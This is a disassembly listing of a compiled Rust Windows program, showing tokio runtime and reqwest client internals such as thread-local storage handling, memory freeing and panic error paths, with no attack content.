mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x1400f48e0]
call fcn.1400de7b0
mov byte [rbx + 0x128], 1
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x124], sil
mov byte [rax + 0x125], r13b
cmp qword [rbp + 0x5b0], 0
jne 0x14010e221
mov qword [rbp + 0x5b0], 0xffffffffffffffff
mov rsi, qword [rbp + 0x5b8]
mov qword [rbp + 0x5b8], 0
test rsi, rsi
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
je 0x14010e209
mov qword [rbp + 0x5b0], 0
dec r14d
jne 0x14010da50
mov r8, qword [rbp + 0x5a8]
add r8, 0x10
lea rcx, [rbp + 0x5a8]
mov rdx, rsi
call fcn.1400f4560
mov rsi, rax
mov rax, qword [rbp + 0x5a8]
lea r14, [rbp + 0x180]
xor ecx, ecx
xchg byte [rax + 0xb0], cl
test cl, cl
jne 0x14010cb0a
jmp 0x14010da30
movabs rax, 0x7fffffffffffffff
cmp qword [rbp + 0x5c0], rax
jae 0x14010e4cc
mov r8, qword [rbp + 0x5a8]
add r8, 0x10
cmp qword [rbp + 0x5d8], 0
lea r14, [rbp + 0x180]
lea rcx, [rbp + 0x5a8]
mov rdx, rsi
je 0x14010dca4
call fcn.1400f4560
jmp 0x14010dca9
call fcn.1400f4020
mov rsi, rax
mov rax, qword [rbp + 0x5a8]
xor ecx, ecx
xchg byte [rax + 0xb0], cl
test cl, cl
jne 0x14010cb0a
jmp 0x14010da30
cmp qword [rbp + 0x5b0], 0
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rbp + 0x538]
mov qword [rax + 0x110], rcx
jne 0x14010e4c0
xor ebx, ebx
mov qword [rbp + 0x5b0], 0xffffffffffffffff
mov rcx, qword [rbp + 0x5b8]
test rcx, rcx
je 0x14010dd5b
call fcn.1400a31d0
mov rax, qword [rbp + 0x5b0]
inc rax
jmp 0x14010dd5d
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rbp + 0x538]
mov qword [rax + 0x110], rcx
mov bl, 1
mov qword [rbp + 0x5b0], 0xffffffffffffffff
mov rcx, qword [rbp + 0x5b8]
test rcx, rcx
jne 0x14010dd10
xor eax, eax
mov qword [rbp + 0x5b8], rsi
mov qword [rbp + 0x5b0], rax
lea rcx, [rbp + 0x5a0]
call fcn.1400f3970
test byte [rbp + 0x5a0], 1
je 0x14010de26
mov rax, qword [rbp + 0x5a8]
lock dec qword [rax]
jne 0x14010dd9d
lea rcx, [rbp + 0x5a8]
call fcn.140002100
mov rsi, qword [rbp + 0x5b8]
test rsi, rsi
je 0x14010de50
mov rcx, qword [rsi]
test rcx, rcx
je 0x14010dddc
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x14010e4d8
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14010dddc
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
lea rdi, [rsi + 0x18]
mov rcx, rdi
call fcn.140109540
mov rax, qword [rsi + 0x18]
lock dec qword [rax]
jne 0x14010ddfa
mov rcx, rdi
call fcn.1400bfb30
mov rax, qword [rsi + 8]
test rax, rax
je 0x14010de12
lock dec qword [rax]
jne 0x14010de12
lea rcx, [rsi + 8]
call fcn.140001e70
mov rcx, qword [0x1401a2270]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14010de50
mov rax, qword [rbp + 0x5a8]
lock dec qword [rax]
jne 0x14010de3f
lea rcx, [rbp + 0x5a8]
call fcn.140002ed0
mov rcx, qword [rbp + 0x5b8]
test rcx, rcx
je 0x14010de50
call fcn.1400a31d0
mov rsi, qword [rbp + 0x5d8]
test rsi, rsi
je 0x14010de83
mov rdi, qword [rbp + 0x5d0]
add rdi, 8
nop word [rax + rax]
mov rax, qword [rdi - 8]
mov rcx, qword [rdi]
call qword [rax + 0x18]
add rdi, 0x10
dec rsi
jne 0x14010de70
cmp qword [rbp + 0x5c8], 0
je 0x14010dea3
mov r8, qword [rbp + 0x5d0]
mov rcx, qword [0x1401a2270]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test bl, bl
je 0x14010e47f
movsd xmm6, qword [rbp + 0x4c0]
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x14010defe
cmp eax, 1
je 0x14010df2b
lea rax, [0x1401907b8]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_0d634185dfddefe09047881175f35c65d68dcff1library_std_src_threadlocal.rs
lea r9, [0x1401907d0]
lea r8, [rbp - 0x40]
mov edx, 0x46
call fcn.1401265e0
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd8]
lea rdx, [0x1400f48e0]
call fcn.1400de7b0
mov byte [rsi + 0x128], 1
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x126], 2
je 0x14010e3ca
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x126], 2
cmp dword [rax + 0x118], 0
jne 0x14010df73
call fcn.1400f1c80
mov eax, dword [0x1401a230c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov dword [rax + 0x118], 1
movlps qword [rax + 0x11c], xmm6
lea rcx, [rbp + 0x4a8]
call fcn.1400f8c70
mov rax, qword [rbp + 0x4a8]
cmp rax, 2
je 0x14010dfe9
test rax, rax
je 0x14010dfd0
mov rax, qword [rbp + 0x4b0]
lock dec qword [rax]
jne 0x14010dfe9
lea rcx, [rbp + 0x4b0]
call fcn.140004760
jmp 0x14010dfe9
mov rax, qword [rbp + 0x4b0]
lock dec qword [rax]
jne 0x14010dfe9
lea rcx, [rbp + 0x4b0]
call fcn.140002ed0
movaps xmm6, xmmword [rbp + 0x620]
add rsp, 0x6b8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
ud2
mov qword [rbp + 0x310], r13
lea rax, str.C:Usersz0mbj.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Client::new__
lea r9, [0x14015cdc8]
lea r8, [rbp + 0x310]
mov edx, 0xd
call fcn.1401265e0
mov ecx, 8
mov edx, 0x70
call fcn.140125f20
lea rax, str.C:Usersz0mbj.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimepark.rsinconsistent_park_state__actual_
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401907d0]
lea r8, [rbp - 0x40]
mov edx, 0x2b
call fcn.1401265e0
lea rcx, str.Pending_error_polled_more_than_once
lea r8, str.C:Usersz0mbj.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
mov edx, 0x23
call fcn.140126700
mov ecx, 1
mov edx, 1
call fcn.140125f20
mov qword [rbp + 0x540], rdi
lea rax, [rbp - 0x40]
mov qword [rbp + 0x310], rax
lea rax, [0x14010a4d0]
mov qword [rbp + 0x318], rax
mov qword [rbp + 0x320], r12
mov qword [rbp + 0x328], rax
lea rax, [rbp + 0x540]
mov qword [rbp + 0x330], rax
lea rax, [fcn.1400e4320]
mov qword [rbp + 0x338], rax
lea rax, str.failed_to_set_environment_variable____to___:
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], 3
mov qword [rbp + 0x1a0], 0
mov qword [rbp + 0x190], rbx
mov qword [rbp + 0x198], 3
lea rdx, str._rustc_0d634185dfddefe09047881175f35c65d68dcff1library_std_srcenv.rs
lea rcx, [rbp + 0x180]
call fcn.140126290
lea rcx, [0x14016b550]
lea r8, str.C:Usersz0mbj.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timeentry.rs
mov edx, 0x73
call fcn.140126700
lea rcx, [0x140190bd8]
call fcn.140126970
imul eax, ecx, 0x64
mov qword [rbp + 0x310], rdx
mov dword [rbp + 0x318], eax
lea rax, [0x140190b98]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140190b00]
lea r8, [rbp + 0x310]
mov edx, 0x2b
call fcn.1401265e0
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x180], r12
lea rax, [fcn.140006d00]
mov qword [rbp + 0x188], rax
lea rax, [0x140169350]
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], 1
mov qword [rbp + 0x330], 0
lea rax, [rbp + 0x180]
mov qword [rbp + 0x320], rax
mov qword [rbp + 0x328], 1
lea rdx, str.C:Usersz0mbj.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimepark.rsinconsistent_park_state__actual_
lea rcx, [rbp + 0x310]
call fcn.140126290
lea rcx, [0x140190b40]
call fcn.140126970
lea rcx, str.C:Usersz0mbj.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140126520
lea rcx, str.core_missing
lea r8, str.C:Usersz0mbj.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xc
call fcn.140126700
lea rcx, str.C:Usersz0mbj.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140126520
lea rax, str.C:Usersz0mbj.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to__Enter::block_on_
lea r9, [0x1401907d0]
lea r8, [rbp - 0x40]
mov edx, 0x1b
call fcn.1401265e0
mov qword [rbp + 0x310], rsi
jmp 0x14010e00d
mov qword [rbp + 0x540], rax
lea rax, [rbp - 0x40]
mov qword [rbp + 0x310], rax
lea rax, [0x14010a4d0]
mov qword [rbp + 0x318], rax
mov qword [rbp + 0x320], r12
mov qword [rbp + 0x328], rax
lea rax, [rbp + 0x540]
mov qword [rbp + 0x330], rax
lea rax, [fcn.1400e4320]
mov qword [rbp + 0x338], rax
lea rax, str.failed_to_set_environment_variable____to___:
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], 3
mov qword [rbp + 0x1a0], 0
lea rax, [rbp + 0x310]
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x198], 3
lea rdx, str._rustc_0d634185dfddefe09047881175f35c65d68dcff1library_std_srcenv.rs
lea rcx, [rbp + 0x180]
call fcn.140126290
lea rax, str.Cannot_start_a_runtime_from_within_a_runtime._This_happens_because_a_function__like__block_on___attempted_to_block_the_current_thread_while_the_thread_is_being_used_to_drive_asynchronous_tasks.
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], 1
mov qword [rbp + 0x320], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x328], xmm0
lea rdx, [0x14018f078]
lea rcx, [rbp + 0x310]
call fcn.140126290
lea rcx, str.C:Usersz0mbj.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.140126520
lea rax, str.reached_max__enter__depth
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], 1
mov qword [rbp + 0x320], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x328], xmm0
lea rdx, str.C:Usersz0mbj.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
lea rcx, [rbp + 0x310]
call fcn.140126290
lea rax, str.not_a_CurrentThread_handle
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], 1
mov qword [rbp + 0x320], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x328], xmm0
lea rdx, str.C:Usersz0mbj.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermod.rs
lea rcx, [rbp + 0x310]
call fcn.140126290
lea rcx, str.assertion_failed:_c.runtime.get__.is_entered__C:Usersz0mbj.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontext_runtime.rs
lea r8, [0x140169540]
mov edx, 0x2e
call fcn.140126340
imul eax, ecx, 0x64
mov qword [rbp + 0x310], rdx
mov dword [rbp + 0x318], eax
lea rax, [0x140190b98]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401902f0]
lea r8, [rbp + 0x310]
mov edx, 0x2b
call fcn.1401265e0
lea rax, str.expected__CurrentThread::Context_
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], 1
mov qword [rbp + 0x320], 8
movups xmmword [rbp + 0x328], xmm0
lea rdx, str.C:Usersz0mbj.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
lea rcx, [rbp + 0x310]
call fcn.140126290
lea rcx, str.C:Usersz0mbj.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140126520
lea rcx, str.core_missing
lea r8, str.C:Usersz0mbj.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xc
call fcn.140126700
lea rax, str.a_spawned_task_panicked_and_the_runtime_is_configured_to_shut_down_on_unhandled_panic
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], 1
mov qword [rbp + 0x320], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x328], xmm0
lea rdx, str.C:Usersz0mbj.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
lea rcx, [rbp + 0x310]
call fcn.140126290
lea rcx, str.C:Usersz0mbj.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140126520
lea rcx, str.C:Usersz0mbj.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulerdefer.rs
call fcn.140126580
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x140169d10]
mov edx, 0x27
call fcn.140126340
mov dword [rbp + 0x70], 0
mov byte [rbp + 0x74], 0
lea rax, str.fatal_runtime_error:_the_global_allocator_may_not_use_TLS_with_destructors_n
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], 1
lea rax, [rbp - 0x40]
mov qword [rbp + 0x320], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x328], xmm0
lea rcx, [rbp + 0x70]
lea rdx, [rbp + 0x310]
call fcn.1400dcf50
mov qword [rbp + 0x180], rax
lea rcx, [rbp + 0x180]
call fcn.1400dd0e0
mov ecx, 7
int 0x29
ud2